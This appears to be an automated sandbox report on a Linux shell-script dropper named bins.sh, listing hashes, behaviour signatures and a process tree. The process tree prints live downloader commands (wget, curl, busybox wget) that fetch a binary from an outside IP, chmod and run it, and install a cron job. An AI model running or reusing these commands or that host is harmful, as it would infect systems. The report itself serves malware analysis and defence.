Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    21-11-2024 09:26

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    035db69b6641b2570b2aeb119a1bf0eb

  • SHA1

    3d7e86cce19e5e17794bc983f9c7cb965a9be5d3

  • SHA256

    d282873524efa06a7da01fcdc8105d7b38d00579aae047bf2a561281496ad94c

  • SHA512

    4d9f71e04134b17336fdffc586b33f72cba71b89bb130cd4745bdcc0a354295d89ed5f83861c0fab5b6b1c8c3ef2000defa6468297c9b3c08d0a671b12d23080

  • SSDEEP

    96:HD/t0NwtE/f4xZsrbxp9enzVlVo0MDK8p9edl2OVlVo09kdwv/t0NwtE/fD/sm8b:HDGboGQ5

Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2268) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1516
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1517
        • /usr/bin/wget
          wget http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Writes file to tmp directory
          PID:1518
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Writes file to tmp directory
          PID:1522
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Writes file to tmp directory
          PID:1523
        • /bin/chmod
          chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • File and Directory Permissions Modification
          PID:1524
        • /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1525
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1527
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1528
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1529
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1530
              • /bin/rm
                rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
                2⤵
                  PID:1532
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
                  2⤵
                    PID:1535

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
                  Filesize

                  98KB

                  MD5

                  5141342d0df8699fa32a6b066a0c592e

                  SHA1

                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                  SHA256

                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                  SHA512

                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                  Download Submit

                • /var/spool/cron/crontabs/tmp.06QS1U
                  Filesize

                  210B

                  MD5

                  41da788e00bacc686cd52ce59c0e7b64

                  SHA1

                  df1f91bce83c76afd851cad71d5d4a08c307c35b

                  SHA256

                  407738d4e3660ad11eae5972ceb3c60e2193c9855e18227043b1c1c349bb5b71

                  SHA512

                  cbbd8a9e68da4674a44394172435fb8439ff1e2c984546e3821f8b7c6dca3953e974c34cb67a5138af5c029b9bb4759434e50d4303ee07f0a535bd5ad788238e

                  Download Submit